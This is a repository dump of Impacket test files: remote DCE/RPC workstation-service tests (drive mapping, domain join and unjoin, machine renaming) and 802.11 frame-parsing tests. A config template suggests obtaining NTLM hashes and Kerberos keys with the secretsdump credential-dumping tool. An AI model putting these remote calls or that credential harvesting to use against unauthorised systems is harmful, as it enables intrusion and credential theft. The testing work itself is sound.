pass\n\n        # We're not testing this call with NDR64, it fails and I can't see the contents\n        if self.transfer_syntax == ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0'):\n            return\n\n        try:\n            resp = wkst.hNetrUseEnum(dce, 2)\n            resp.dump()\n        except Exception as e:\n            if str(e).find('STATUS_PIPE_DISCONNECTED') >=0:\n                # This could happen in newer OSes\n                pass\n\n        try:\n            resp2 = wkst.hNetrUseGetInfo(dce, 'Z:', 3)\n            resp2.dump()\n        except Exception as e:\n            if str(e).find('STATUS_PIPE_DISCONNECTED') >=0:\n                # This could happen in newer OSes\n                pass\n\n        try:\n            resp = wkst.hNetrUseDel(dce,'Z:')\n            resp.dump()\n        except Exception as e:\n            if str(e).find('STATUS_PIPE_DISCONNECTED') >=0:\n                # This could happen in newer OSes\n                pass\n\n    def test_NetrUseAdd_NetrUseDel_NetrUseGetInfo_NetrUseEnum(self):\n        dce, rpc_transport = self.connect()\n        req = wkst.NetrUseAdd()\n        req['ServerName'] = '\\x00'*10\n        req['Level'] = 1\n        req['InfoStruct']['tag'] = 1\n        req['InfoStruct']['UseInfo1']['ui1_local'] = 'Z:\\x00'\n        req['InfoStruct']['UseInfo1']['ui1_remote'] = '\\\\\\\\127.0.0.1\\\\c$\\x00'\n        req['InfoStruct']['UseInfo1']['ui1_password'] = NULL\n        try:\n            resp2 = dce.request(req)\n            resp2.dump()\n        except Exception as e:\n            if str(e).find('rpc_s_access_denied') >=0:\n                # This could happen in newer OSes\n                pass\n\n        # We're not testing this call with NDR64, it fails and I can't see the contents\n        if self.transfer_syntax == ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0'):\n            return\n\n        req = wkst.NetrUseEnum()\n        req['ServerName'] = NULL\n        req['InfoStruct']['Level'] = 2\n        req['InfoStruct']['UseInfo']['tag'] = 2\n        req['InfoStruct']['UseInfo']['Level2']['Buffer'] = NULL\n        req['PreferredMaximumLength'] = 0xffffffff\n        req['ResumeHandle'] = NULL\n        try:\n            resp2 = dce.request(req)\n            resp2.dump()\n        except Exception as e:\n            if str(e).find('rpc_s_access_denied') >=0:\n                # This could happen in newer OSes\n                pass\n\n        req = wkst.NetrUseGetInfo()\n        req['ServerName'] = '\\x00'*10\n        req['UseName'] = 'Z:\\x00'\n        req['Level'] = 3\n        try:\n            resp2 = dce.request(req)\n            resp2.dump()\n        except Exception as e:\n            if str(e).find('rpc_s_access_denied') >=0:\n                # This could happen in newer OSes\n                pass\n\n        req = wkst.NetrUseDel()\n        req['ServerName'] = '\\x00'*10\n        req['UseName'] = 'Z:\\x00'\n        req['ForceLevel'] = wkst.USE_LOTS_OF_FORCE\n        try:\n            resp2 = dce.request(req)\n            resp2.dump()\n        except Exception as e:\n            if str(e).find('rpc_s_access_denied') >=0:\n                # This could happen in newer OSes\n                pass\n\n    def test_NetrWorkstationStatisticsGet(self):\n        dce, rpc_transport = self.connect()\n        req = wkst.NetrWorkstationStatisticsGet()\n        req['ServerName'] = '\\x00'*10\n        req['ServiceName'] = '\\x00'\n        req['Level'] = 0\n        req['Options'] = 0\n        try:\n            resp2 = dce.request(req)\n            resp2.dump()\n        except Exception as e:\n            if str(e).find('ERROR_INVALID_PARAMETER') < 0:\n                raise\n\n    def test_hNetrWorkstationStatisticsGet(self):\n        dce, rpc_transport = self.connect()\n        try:\n            resp2 = wkst.hNetrWorkstationStatisticsGet(dce, '\\x00', 0, 0)\n            resp2.dump()\n        except Exception as e:\n            if str(e).find('ERROR_INVALID_PARAMETER') < 0:\n                raise\n\n    def test_NetrGetJoinInformation(self):\n        dce, rpc_transport = self.connect()\n        req = wkst.NetrGetJoinInformation()\n        req['ServerName'] = '\\x00'*10\n        req['NameBuffer'] = '\\x00'\n        try:\n            resp2 = dce.request(req)\n            resp2.dump()\n        except Exception as e:\n            if str(e).find('ERROR_INVALID_PARAMETER') < 0:\n                raise\n\n    def test_hNetrGetJoinInformation(self):\n        dce, rpc_transport = self.connect()\n        try:\n            resp = wkst.hNetrGetJoinInformation(dce, '\\x00')\n            resp.dump()\n        except Exception as e:\n            if str(e).find('ERROR_INVALID_PARAMETER') < 0:\n                raise\n\n    def test_NetrJoinDomain2(self):\n        dce, rpc_transport = self.connect()\n        req = wkst.NetrJoinDomain2()\n        req['ServerName'] = '\\x00'*10\n        req['DomainNameParam'] = '172.16.123.1\\\\FREEFLY\\x00'\n        req['MachineAccountOU'] = 'OU=BETUS,DC=FREEFLY\\x00'\n        req['AccountName'] = NULL\n        req['Password']['Buffer'] = '\\x00'*512\n        req['Options'] = wkst.NETSETUP_DOMAIN_JOIN_IF_JOINED\n        try:\n            resp2 = dce.request(req)\n            resp2.dump()\n        except Exception as e:\n            if str(e).find('ERROR_INVALID_PASSWORD') < 0:\n                raise\n\n    def test_hNetrJoinDomain2(self):\n        dce, rpc_transport = self.connect()\n        try:\n            resp = wkst.hNetrJoinDomain2(dce, '172.16.123.1\\\\FREEFLY\\x00', 'OU=BETUS,DC=FREEFLY\\x00',\n                                         NULL, '\\x00'*512, wkst.NETSETUP_DOMAIN_JOIN_IF_JOINED)\n            resp.dump()\n        except Exception as e:\n            if str(e).find('ERROR_INVALID_PASSWORD') < 0:\n                raise\n\n    def test_NetrUnjoinDomain2(self):\n        dce, rpc_transport = self.connect()\n        req = wkst.NetrUnjoinDomain2()\n        req['ServerName'] = '\\x00'*10\n        req['AccountName'] = NULL\n        req['Password']['Buffer'] = '\\x00'*512\n        req['Options'] = wkst.NETSETUP_ACCT_DELETE\n        try:\n            resp2 = dce.request(req)\n            resp2.dump()\n        except Exception as e:\n            if str(e).find('ERROR_INVALID_PASSWORD') < 0:\n                raise\n\n    def test_hNetrUnjoinDomain2(self):\n        dce, rpc_transport = self.connect()\n        try:\n            resp = wkst.hNetrUnjoinDomain2(dce, NULL, b'\\x00'*512, wkst.NETSETUP_ACCT_DELETE)\n            resp.dump()\n        except Exception as e:\n            if str(e).find('ERROR_INVALID_PASSWORD') < 0:\n                raise\n\n    def test_NetrRenameMachineInDomain2(self):\n        dce, rpc_transport = self.connect()\n        req = wkst.NetrRenameMachineInDomain2()\n        req['ServerName'] = '\\x00'*10\n        req['MachineName'] = 'BETUS\\x00'\n        req['AccountName'] = NULL\n        req['Password']['Buffer'] = '\\x00'*512\n        req['Options'] = wkst.NETSETUP_ACCT_CREATE\n        try:\n            resp2 = dce.request(req)\n            resp2.dump()\n        except Exception as e:\n            if str(e).find('ERROR_INVALID_PASSWORD') < 0:\n                raise\n\n    def test_hNetrRenameMachineInDomain2(self):\n        dce, rpc_transport = self.connect()\n        try:\n            resp = wkst.hNetrRenameMachineInDomain2(dce, 'BETUS\\x00', NULL, b'\\x00'*512, wkst.NETSETUP_ACCT_CREATE)\n            resp.dump()\n        except Exception as e:\n            if str(e).find('ERROR_INVALID_PASSWORD') < 0:\n                raise\n\n    def test_NetrValidateName2(self):\n        dce, rpc_transport = self.connect()\n\n        req = wkst.NetrValidateName2()\n        req['ServerName'] = '\\x00'*10\n        req['NameToValidate'] = 'BETO\\x00'\n        req['AccountName'] = NULL\n        req['Password'] = NULL\n        req['NameType'] = wkst.NETSETUP_NAME_TYPE.NetSetupDomain\n        try:\n            resp2 = dce.request(req)\n            resp2.dump()\n        except Exception as e:\n            if str(e).find('0x8001011c') < 0:\n                raise\n\n    def test_hNetrValidateName2(self):\n        dce, rpc_transport = self.connect()\n\n        try:\n            resp2 = wkst.hNetrValidateName2(dce, 'BETO\\x00', NULL, NULL, wkst.NETSETUP_NAME_TYPE.NetSetupDomain)\n            resp2.dump()\n        except Exception as e:\n            if str(e).find('0x8001011c') < 0:\n                raise\n\n    def test_NetrGetJoinableOUs2(self):\n        dce, rpc_transport = self.connect()\n\n        req = wkst.NetrGetJoinableOUs2()\n        req['ServerName'] = '\\x00'*10\n        req['DomainNameParam'] = 'FREEFLY\\x00'\n        req['AccountName'] = NULL\n        req['Password'] = NULL\n        req['OUCount'] = 0\n        try:\n            resp2 = dce.request(req)\n            resp2.dump()\n        except Exception as e:\n            if str(e).find('0x8001011c') < 0:\n                raise\n\n    def test_hNetrGetJoinableOUs2(self):\n        dce, rpc_transport = self.connect()\n        try:\n            resp = wkst.hNetrGetJoinableOUs2(dce, 'FREEFLY\\x00', NULL, NULL, 0)\n            resp.dump()\n        except Exception as e:\n            if str(e).find('0x8001011c') < 0:\n                raise\n\n    def test_NetrAddAlternateComputerName(self):\n        dce, rpc_transport = self.connect()\n        req = wkst.NetrAddAlternateComputerName()\n        req['ServerName'] = '\\x00'*10\n        req['AlternateName'] = 'FREEFLY\\x00'\n        req['DomainAccount'] = NULL\n        req['EncryptedPassword'] = NULL\n        try:\n            resp2 = dce.request(req)\n            resp2.dump()\n        except Exception as e:\n            if str(e).find('ERROR_NOT_SUPPORTED') < 0 and str(e).find('ERROR_INVALID_PASSWORD') < 0:\n                raise\n\n    def test_hNetrAddAlternateComputerName(self):\n        dce, rpc_transport = self.connect()\n        try:\n            resp2 = wkst.hNetrAddAlternateComputerName(dce, 'FREEFLY\\x00', NULL, NULL)\n            resp2.dump()\n        except Exception as e:\n            if str(e).find('ERROR_NOT_SUPPORTED') < 0 and str(e).find('ERROR_INVALID_PASSWORD') < 0:\n                raise\n\n    def test_NetrRemoveAlternateComputerName(self):\n        dce, rpc_transport = self.connect()\n        req = wkst.NetrRemoveAlternateComputerName()\n        req['ServerName'] = '\\x00'*10\n        req['AlternateName'] = 'FREEFLY\\x00'\n        req['DomainAccount'] = NULL\n        req['EncryptedPassword'] = NULL\n        try:\n            resp2 = dce.request(req)\n            resp2.dump()\n        except Exception as e:\n            if str(e).find('ERROR_NOT_SUPPORTED') < 0 and str(e).find('ERROR_INVALID_PASSWORD') < 0:\n                raise\n\n    def test_hNetrRemoveAlternateComputerName(self):\n        dce, rpc_transport = self.connect()\n        try:\n            resp2 = wkst.hNetrRemoveAlternateComputerName(dce, 'FREEFLY\\x00', NULL, NULL)\n            resp2.dump()\n        except Exception as e:\n            if str(e).find('ERROR_NOT_SUPPORTED') < 0 and str(e).find('ERROR_INVALID_PASSWORD') < 0:\n                raise\n\n    def test_NetrSetPrimaryComputerName(self):\n        dce, rpc_transport = self.connect()\n        req = wkst.NetrSetPrimaryComputerName()\n        req['ServerName'] = '\\x00'*10\n        req['PrimaryName'] = 'FREEFLY\\x00'\n        req['DomainAccount'] = NULL\n        req['EncryptedPassword'] = NULL\n        try:\n            resp2 = dce.request(req)\n            resp2.dump()\n        except Exception as e:\n            if str(e).find('ERROR_NOT_SUPPORTED') < 0:\n                if str(e).find('ERROR_INVALID_PARAMETER') < 0:\n                    raise\n\n    def test_hNetrSetPrimaryComputerName(self):\n        dce, rpc_transport = self.connect()\n        try:\n            resp2 = wkst.hNetrSetPrimaryComputerName(dce, 'FREEFLY\\x00', NULL, NULL)\n            resp2.dump()\n        except Exception as e:\n            if str(e).find('ERROR_NOT_SUPPORTED') < 0:\n                if str(e).find('ERROR_INVALID_PARAMETER') < 0:\n                    raise\n\n    def test_NetrEnumerateComputerNames(self):\n        dce, rpc_transport = self.connect()\n\n        req = wkst.NetrEnumerateComputerNames()\n        req['ServerName'] = '\\x00'*10\n        req['NameType'] = wkst.NET_COMPUTER_NAME_TYPE.NetAllComputerNames\n        try:\n            resp2 = dce.request(req)\n            resp2.dump()\n        except Exception as e:\n            if str(e).find('ERROR_NOT_SUPPORTED') < 0:\n                raise\n\n    def test_hNetrEnumerateComputerNames(self):\n        dce, rpc_transport = self.connect()\n\n        try:\n            resp2 = wkst.hNetrEnumerateComputerNames(dce, wkst.NET_COMPUTER_NAME_TYPE.NetAllComputerNames)\n            resp2.dump()\n        except wkst.DCERPCSessionError as e:\n            if str(e).find('ERROR_NOT_SUPPORTED') < 0:\n                raise\n\n\n@pytest.mark.remote\nclass WKSTTestsSMBTransport(WKSTTests, unittest.TestCase):\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR\n\n\n@pytest.mark.remote\nclass WKSTTestsSMBTransport64(WKSTTests, unittest.TestCase):\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64\n\n\n# Process command-line arguments.\nif __name__ == \"__main__\":\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/dcetests.cfg.template",
    "content": "[global]\n\n[TCPTransport]\n# NetBIOS Name\nservername =\n# Targets IP\nmachine =\nusername =\npassword =\n# NTLM Hash, you can grab it with secretsdump\nhashes =\n# Kerberos AES 256 Key, you can grab it with secretsdump\naesKey256 =\n# Kerberos AES 128 Key, you can grab it with secretsdump\naesKey128 =\n# It must be the domain FQDN\ndomain =\n# This need to be a domain joined machine NetBIOS name\nmachineuser =\n# Domain joined machine NetBIOS name hashes (grab them with secretsdump)\nmachineuserhashes =\n"
  },
  {
    "path": "tests/dot11/__init__.py",
    "content": "#!/usr/bin/env python\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n"
  },
  {
    "path": "tests/dot11/test_Dot11Base.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nimport unittest\nfrom impacket.dot11 import Dot11, Dot11Types\n\n\nclass TestDot11Common(unittest.TestCase):\n\n    def setUp(self):\n        # Frame control field \n        a=b'\\xd4\\x00\\x00\\x00\\x00\\x08\\x54\\xac\\x2f\\x85\\xb7\\x7f\\xc3\\x9e'\n        self.dot11fc=Dot11(a)\n        \n    def test_01_HeaderSize(self):\n        'Test Header Size field'\n        self.assertEqual(self.dot11fc.get_header_size(), 2)\n\n    def test_01_TailSize(self):\n        'Test Tail Size field'\n        self.assertEqual(self.dot11fc.get_tail_size(), 4)\n  \n    def test_02_Version(self):\n        'Test Version field'\n        self.assertEqual(self.dot11fc.get_version(), 0)\n        self.dot11fc.set_version(3)\n        self.assertEqual(self.dot11fc.get_version(), 3)\n\n    def test_03_Type(self):\n        'Test Type field'\n        self.assertEqual(self.dot11fc.get_type(), 1)\n        self.dot11fc.set_type(3)\n        self.assertEqual(self.dot11fc.get_type(), 3)\n    \n    def test_04_SubType(self):\n        'Test Subtype field'\n        self.assertEqual(self.dot11fc.get_subtype(),13)\n        self.dot11fc.set_subtype(5)\n        self.assertEqual(self.dot11fc.get_subtype(),5)\n        \n    def test_05_ToDS(self):\n        'Test toDS field'\n        self.assertEqual(self.dot11fc.get_toDS(),0)\n        self.dot11fc.set_toDS(1)\n        self.assertEqual(self.dot11fc.get_toDS(),1)\n\n    def test_06_FromDS(self):\n        'Test fromDS field'\n        self.assertEqual(self.dot11fc.get_fromDS(),0)\n        self.dot11fc.set_fromDS(1)\n        self.assertEqual(self.dot11fc.get_fromDS(),1)\n\n    def test_07_MoreFrag(self):\n        'Test More Frag field'\n        self.assertEqual(self.dot11fc.get_moreFrag(),0)\n        self.dot11fc.set_moreFrag(1)\n        self.assertEqual(self.dot11fc.get_moreFrag(),1)\n\n    def test_08_Retry(self):\n        'Test Retry field'\n        self.assertEqual(self.dot11fc.get_retry(),0)\n        self.dot11fc.set_retry(1)\n        self.assertEqual(self.dot11fc.get_retry(),1)\n\n    def test_09_PowerManagement(self):\n        'Test Power Management field'\n        self.assertEqual(self.dot11fc.get_powerManagement(),0)\n        self.dot11fc.set_powerManagement(1)\n        self.assertEqual(self.dot11fc.get_powerManagement(),1)\n\n    def test_10_MoreData(self):\n        'Test More Data field'\n        self.assertEqual(self.dot11fc.get_moreData(),0)\n        self.dot11fc.set_moreData(1)\n        self.assertEqual(self.dot11fc.get_moreData(),1)\n\n#   def test_11_WEP(self):\n#       'Test WEP field'\n#       self.assertEqual(self.dot11fc.get_WEP(),0)\n#       self.dot11fc.set_WEP(1)\n#       self.assertEqual(self.dot11fc.get_WEP(),1)\n        \n        \n    def test_12_Order(self):\n        'Test Order field'\n        self.assertEqual(self.dot11fc.get_order(),0)\n        self.dot11fc.set_order(1)\n        self.assertEqual(self.dot11fc.get_order(),1)\n\n    def test_13_latest(self):\n        'Test complete frame hexs'\n        self.dot11fc.set_type_n_subtype(Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_POWERSAVE_POLL)\n        self.dot11fc.set_order(1)\n        self.dot11fc.set_moreData(1)\n        self.dot11fc.set_retry(1)\n        self.dot11fc.set_fromDS(1)\n        \n        frame=self.dot11fc.get_packet()\n        \n        self.assertEqual(frame, b'\\xa4\\xaa\\x00\\x00\\x00\\x08\\x54\\xac\\x2f\\x85\\xb7\\x7f\\xc3\\x9e')\n    \n\nif __name__ == '__main__':\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/dot11/test_Dot11Decoder.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nimport unittest\nfrom six import PY2\nfrom impacket.ImpactDecoder import Dot11Decoder #,Dot11Types\n\n\nclass TestDot11Decoder(unittest.TestCase):\n\n    def setUp(self):\n        self.WEPKey=None #Unknown\n        self.WEPData=b'\\x08\\x41\\x3a\\x01\\x00\\x17\\x3f\\x44\\x4f\\x96\\x00\\x13\\xce\\x67\\x0e\\x73\\x00\\x17\\x3f\\x44\\x4f\\x96\\xb0\\x04\\xeb\\xcd\\x8b\\x00\\x6e\\xdf\\x93\\x36\\x39\\x5a\\x39\\x66\\x6b\\x96\\xd1\\x7a\\xe1\\xae\\xb6\\x11\\x22\\xfd\\xf0\\xd4\\x0d\\x6a\\xb8\\xb1\\xe6\\x2e\\x1f\\x25\\x7d\\x64\\x1a\\x07\\xd5\\x86\\xd2\\x19\\x34\\xb5\\xf7\\x8a\\x62\\x33\\x59\\x6e\\x89\\x01\\x73\\x50\\x12\\xbb\\xde\\x17\\xdd\\xb5\\xd4\\x35'\n        dot11_decoder = Dot11Decoder()\n        self.in0=dot11_decoder.decode(self.WEPData)\n        self.in1=self.in0.child()\n        self.in2=self.in1.child()\n        self.in3=self.in2.child()\n        if self.WEPKey:\n            self.in4=self.in3.child()\n            self.in5=self.in4.child()\n        \n    def test_01_Dot11Decoder(self):\n        'Test Dot11 decoder'\n        if PY2:\n            self.assertEqual(str(self.in0.__class__), \"impacket.dot11.Dot11\")\n        else:\n            self.assertEqual(str(self.in0.__class__), \"<class 'impacket.dot11.Dot11'>\")\n        \n    def test_02_Dot11DataFrameDecoder(self):\n        'Test Dot11DataFrame decoder'\n        if PY2:\n            self.assertEqual(str(self.in1.__class__), \"impacket.dot11.Dot11DataFrame\")\n        else:\n            self.assertEqual(str(self.in1.__class__), \"<class 'impacket.dot11.Dot11DataFrame'>\")\n    \n    def test_03_Dot11WEP(self):\n        'Test Dot11WEP decoder'\n        if PY2:\n            self.assertEqual(str(self.in2.__class__), \"impacket.dot11.Dot11WEP\")\n        else:\n            self.assertEqual(str(self.in2.__class__), \"<class 'impacket.dot11.Dot11WEP'>\")\n\n    def test_04_Dot11WEPData(self):\n        'Test Dot11WEPData decoder'\n\n        if not self.WEPKey:\n            return\n\n        self.assertEqual(str(self.in3.__class__), \"impacket.dot11.Dot11WEPData\")\n\n        # Test if wep data \"get_packet\" is correct\n        wepdata=b'\\x6e\\xdf\\x93\\x36\\x39\\x5a\\x39\\x66\\x6b\\x96\\xd1\\x7a\\xe1\\xae\\xb6\\x11\\x22\\xfd\\xf0\\xd4\\x0d\\x6a\\xb8\\xb1\\xe6\\x2e\\x1f\\x25\\x7d\\x64\\x1a\\x07\\xd5\\x86\\xd2\\x19\\x34\\xb5\\xf7\\x8a\\x62\\x33\\x59\\x6e\\x89\\x01\\x73\\x50\\x12\\xbb\\xde\\x17'\n        self.assertEqual(self.in3.get_packet(), wepdata)\n\n    def test_05_LLC(self):\n        'Test LLC decoder'\n        if self.WEPKey:\n            self.assertEqual(str(self.in4.__class__), \"impacket.dot11.LLC\")\n\n    def test_06_Data(self):\n        'Test LLC Data decoder'\n\n        if self.WEPKey:\n            dataclass=self.in4.__class__\n        else:\n            dataclass=self.in3.__class__\n\n        self.assertGreater(str(dataclass).find('ImpactPacket.Data'), 0)\n\n\nif __name__ == '__main__':\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/dot11/test_Dot11HierarchicalUpdate.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nimport unittest\nfrom impacket.dot11 import ProtocolPacket\n\n\nclass PacketTest(ProtocolPacket):\n\n    def __init__(self, aBuffer=None):\n        header_size = 7\n        tail_size = 5\n        \n        ProtocolPacket.__init__(self, header_size, tail_size)\n        if aBuffer:\n            self.load_packet(aBuffer)\n\n\nclass TestDot11HierarchicalUpdate(unittest.TestCase):\n\n    def setUp(self):\n        self.rawpacket1 = b\"\" \\\n            b\"Header1\"\\\n            b\"Body1\"\\\n            b\"Tail1\"\n\n        self.rawpacket2 = b\"\" \\\n            b\"Header2\"+\\\n            self.rawpacket1+ \\\n            b\"Tail2\"\n\n        self.rawpacket3 = b\"\" \\\n            b\"Header3\"+\\\n            self.rawpacket2+ \\\n            b\"Tail3\"\n\n        self.packet1 = PacketTest(self.rawpacket1)\n        self.packet2 = PacketTest(self.rawpacket2)\n        self.packet2.contains(self.packet1)\n        self.packet3 = PacketTest(self.rawpacket3)\n        self.packet3.contains(self.packet2)\n        \n    def test_01_StartupPacketsStringTest(self):\n        \"ProtocolPacket - get_packet initial string test\"\n        self.assertEqual(self.packet1.get_packet(), b\"Header1Body1Tail1\")\n        self.assertEqual(self.packet2.get_packet(), b\"Header2Header1Body1Tail1Tail2\")\n        self.assertEqual(self.packet3.get_packet(), b\"Header3Header2Header1Body1Tail1Tail2Tail3\")\n\n    def test_02_StartupPacketsSizeTest(self):\n        \"ProtocolPacket - Initial size getters test\"\n        \n        self.assertEqual(self.packet1.get_size(), 7+5+5)        \n        self.assertEqual(self.packet1.get_header_size(), 7)\n        self.assertEqual(self.packet1.get_body_size(), 5)\n        self.assertEqual(self.packet1.get_tail_size(), 5)\n        \n        self.assertEqual(self.packet2.get_size(), 7+ (7+5+5) + 5)\n        self.assertEqual(self.packet2.get_header_size(), 7)\n        self.assertEqual(self.packet2.get_body_size(), 7+5+5)\n        self.assertEqual(self.packet2.get_tail_size(), 5)\n        \n        self.assertEqual(self.packet3.get_size(), 7+ (7+ (7+5+5) +5) +5 )\n        self.assertEqual(self.packet3.get_header_size(), 7)\n        self.assertEqual(self.packet3.get_body_size(), 7+ 7+5+5 +5)\n        self.assertEqual(self.packet3.get_tail_size(), 5)\n    \n    def test_03_ChildModificationTest(self):\n        \"ProtocolPacket - get_packet hierarchical update test\"\n        self.packet1.load_body(b\"**NewBody**\")\n        self.assertEqual(self.packet1.get_packet(), b\"Header1**NewBody**Tail1\")\n        self.assertEqual(self.packet2.get_packet(), b\"Header2Header1**NewBody**Tail1Tail2\")\n        self.assertEqual(self.packet3.get_packet(), b\"Header3Header2Header1**NewBody**Tail1Tail2Tail3\")\n        \n    def test_04_ChildModificationTest(self):\n        \"ProtocolPacket - size getters hierarchical update test\"\n        self.packet1.load_body(b\"**NewBody**\")\n        #self.packet1 => \"Header1**NewBody**Tail1\"\n        #self.packet2 => \"Header2Header1**NewBody**Tail1Tail2\"\n        #self.packet3 => \"Header3Header2Header1**NewBody**Tail1Tail2Tail3\"        \n        \n        self.assertEqual(self.packet1.get_size(), 7+11+5 )\n        self.assertEqual(self.packet1.get_header_size(), 7)\n        self.assertEqual(self.packet1.get_body_size(), 11)\n        self.assertEqual(self.packet1.get_tail_size(), 5)\n        \n        self.assertEqual(self.packet2.get_size(), 7+ (7+11+5) +5 )        \n        self.assertEqual(self.packet2.get_header_size(), 7)\n        self.assertEqual(self.packet2.get_body_size(), 7+11+5)\n        self.assertEqual(self.packet2.get_tail_size(), 5)\n        \n        self.assertEqual(self.packet3.get_size(), 7+ (7+ (7+11+5) +5) +5 )        \n        self.assertEqual(self.packet3.get_header_size(), 7)\n        self.assertEqual(self.packet3.get_body_size(), 7+ (7+11+5) +5)\n        self.assertEqual(self.packet3.get_tail_size(), 5)\n\n    def test_05_ChildModificationTest(self):\n        \"ProtocolPacket - body packet hierarchical update test\"\n        self.packet1.load_body(b\"**NewBody**\")\n        self.assertEqual(self.packet1.body.get_buffer_as_string(), b\"**NewBody**\")\n        self.assertEqual(self.packet2.body.get_buffer_as_string(), b\"Header1**NewBody**Tail1\")\n        self.assertEqual(self.packet3.body.get_buffer_as_string(), b\"Header2Header1**NewBody**Tail1Tail2\")\n\n    def test_06_ChildModificationTest(self):\n        \"ProtocolPacket - get_body_as_string packet hierarchical update test\"\n        self.packet1.load_body(b\"**NewBody**\")\n        self.assertEqual(self.packet1.get_body_as_string(), b\"**NewBody**\")\n        self.assertEqual(self.packet2.get_body_as_string(), b\"Header1**NewBody**Tail1\")\n        self.assertEqual(self.packet3.get_body_as_string(), b\"Header2Header1**NewBody**Tail1Tail2\")\n\n    def test_07_ChildModificationTest(self):\n        \"ProtocolPacket - load_body child hierarchy update test\"\n        self.assertEqual(self.packet1.parent(), self.packet2)\n        self.assertEqual(self.packet2.parent(), self.packet3)\n        \n        self.assertEqual(self.packet3.child(), self.packet2)\n        self.assertEqual(self.packet2.child(), self.packet1)\n        \n        self.packet2.load_body(b\"Header1**NewBody**Tail1\")\n\n        self.assertEqual(self.packet1.parent(), None)\n        self.assertEqual(self.packet2.parent(), self.packet3)\n        \n        self.assertEqual(self.packet3.child(), self.packet2)\n        self.assertEqual(self.packet2.child(), None)\n    \n        self.assertEqual(self.packet1.body.get_buffer_as_string(), b\"Body1\")\n        self.assertEqual(self.packet2.body.get_buffer_as_string(), b\"Header1**NewBody**Tail1\")\n        self.assertEqual(self.packet3.body.get_buffer_as_string(), b\"Header2Header1**NewBody**Tail1Tail2\")\n\n\nif __name__ == '__main__':\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/dot11/test_FrameControlACK.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nimport unittest\nfrom impacket.dot11 import Dot11,Dot11Types,Dot11ControlFrameACK\n\n\nclass TestDot11FrameControlACK(unittest.TestCase):\n\n    def setUp(self):\n        # 802.11 Control Frame ACK\n        self.frame_orig=b'\\xd4\\x00\\x00\\x00\\x00\\x08\\x54\\xac\\x2f\\x85\\xb7\\x7f\\xc3\\x9e'\n\n        d = Dot11(self.frame_orig)\n        \n        type = d.get_type()\n        self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL)\n        \n        subtype = d.get_subtype()\n        self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_ACKNOWLEDGMENT)\n        \n        typesubtype = d.get_type_n_subtype()\n        self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_ACKNOWLEDGMENT)\n            \n        self.ack = Dot11ControlFrameACK(d.get_body_as_string())\n            \n        d.contains(self.ack)\n        \n    def test_01_HeaderTailSize(self):\n        'Test Header and Tail Size field'\n        self.assertEqual(self.ack.get_header_size(), 8)\n        self.assertEqual(self.ack.get_tail_size(), 0)\n\n    def test_02_Duration(self):\n        'Test Duration field'\n        \n        self.assertEqual(self.ack.get_duration(), 0)\n        self.ack.set_duration(0x1234)\n        self.assertEqual(self.ack.get_duration(), 0x1234)\n    \n    def test_03_RA(self):\n        'Test RA field'\n        \n        ra=self.ack.get_ra()\n        self.assertEqual(ra.tolist(), [0x00,0x08,0x54,0xac,0x2f,0x85])\n        ra[0]=0x12\n        ra[5]=0x34\n        self.ack.set_ra(ra)\n        self.assertEqual(self.ack.get_ra().tolist(), [0x12,0x08,0x54,0xac,0x2f,0x34])\n       \n\nif __name__ == '__main__':\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/dot11/test_FrameControlCFEnd.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nimport unittest\nfrom impacket.dot11 import Dot11,Dot11Types,Dot11ControlFrameCFEnd\n\n\nclass TestDot11FrameControlCFEnd(unittest.TestCase):\n\n    def setUp(self):\n        # 802.11 Control Frame CFEnd\n        self.frame_orig=b'\\xe4\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x19\\xe0\\x98\\x04\\xd4\\xad\\x9c\\x3c\\xc0'\n\n        d = Dot11(self.frame_orig)\n        \n        type = d.get_type()\n        self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL)\n        \n        subtype = d.get_subtype()\n        self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_CF_END)\n        \n        typesubtype = d.get_type_n_subtype()\n        self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_CF_END)\n            \n        self.cfend = Dot11ControlFrameCFEnd(d.get_body_as_string())\n            \n        d.contains(self.cfend)\n        \n    def test_01_HeaderTailSize(self):\n        'Test Header and Tail Size field'\n        self.assertEqual(self.cfend.get_header_size(), 14)\n        